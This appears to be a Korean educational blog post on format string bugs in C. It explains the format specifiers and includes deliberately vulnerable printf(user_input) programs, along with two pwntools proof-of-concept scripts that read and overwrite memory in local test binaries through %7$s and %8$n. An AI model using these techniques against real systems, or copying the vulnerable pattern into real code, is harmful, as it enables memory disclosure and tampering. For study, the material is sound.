[ Format String Bug ]

Format String Bug

  C언어에는 printf 외에도 포맷 스트링을 인자로 사용하는 함수들이 많다. 대표적으로 scanf, fprintf, fscanf, sprintf, sscanf가 있다. 함수의 이름이 “f(formatted)”로 끝나고, 문자열을 다루는 함수라면 포맷 스트링을 처리할 것으로 추측해볼 수 있다.

  이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 그런데 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다. 그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다. 심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

  포맷 스트링 함수를 잘못 사용하여 발생하는 위와 같은 버그를 포맷 스트링 버그(Format String Buf, FSB)라고 부른다. 1989년에 이 버그가 처음 언급됐을 때는 위험도가 낮게 평가되었는데, 1999년에 이 버그를 이용한 익스플로잇이 공개되면서 굉장히 위험한 버그로 재평가되었다.

 

▶ 포맷 스트링

%[parameter][flags][width][.precision][length]type

포맷 스트링은 위와 같이 구성된다.

 

- specifier (형식 지정자)

 

- width

최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.

 

// Name: fs.c
// Compile: gcc -o fs fs.c
#include <stdio.h>
int main() {
  int num;
  printf("%8d\n", 123);            // "     123"
  printf("%s\n", "Hello, world");  // "Hello, world"
  printf("%x\n", 0xdeadbeef);      // "deadbeef"
  printf("%p\n", &num);            // "0x7ffe6d1cb2c4"
  printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
  printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "
  return 0;
}
※ "%n"의 쓰임
  포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다. 만약 프로그래머가 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n 을 사용하여 이런 문제를 해결할 수 있다. 위의 예시에서, printf("%s%n: hi\n", "Alice", &num); 의 첫 번째 인자가 문자열 변수이고, 사용자가 “Alice”보다 긴 문자열을 입력해도 “Bob: Hello”는 그 문장과 정렬된 결과를 출력할 것이다.

 

▶ parameter

참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다. 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() {
  int num;
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  return 0;
}

 

▶ 포맷 스트링 버그

: 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그

포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.

 

// fsb_auth.c
#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32] = {0, };
    
    read(0, buf, 32);
    printf(buf);
    
    // make auth to 0xff
}

  위 코드에서 사용자가 입력한 buf를 인자로 printf를 호출하기 때문에 포맷 스트링 버그가 발생한다.

 

- 레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

  위 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드의 예이다. 이를 컴파일하고 %p %p %p %p %p %p %p %p %p %p 를 포맷 스트링을 입력하면, 값들이 출력되는 것을 볼 수 있다. 전달한 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것이다. x64의 함수 호출 규약을 생각해보면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있다.

 

- 임의 주소 읽기

스택 읽기의 결과에서 주목할 점은 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다는 것이다.

0x7025207025207025 => ”%p %p %p”

  이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s 의 형식으로 그 주소의 데이터를 읽을 수 있다. 아래 코드는 이를 보여주는 PoC이다.

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()

 

- 임의 주소 쓰기

포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

 

아래 코드는 이를 보여주는 PoC이다. 

#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())

 

다음은 PoC의 실행 결과로, Secret이 31337로 조작되는 것을 확인할 수 있다.

+ Recent posts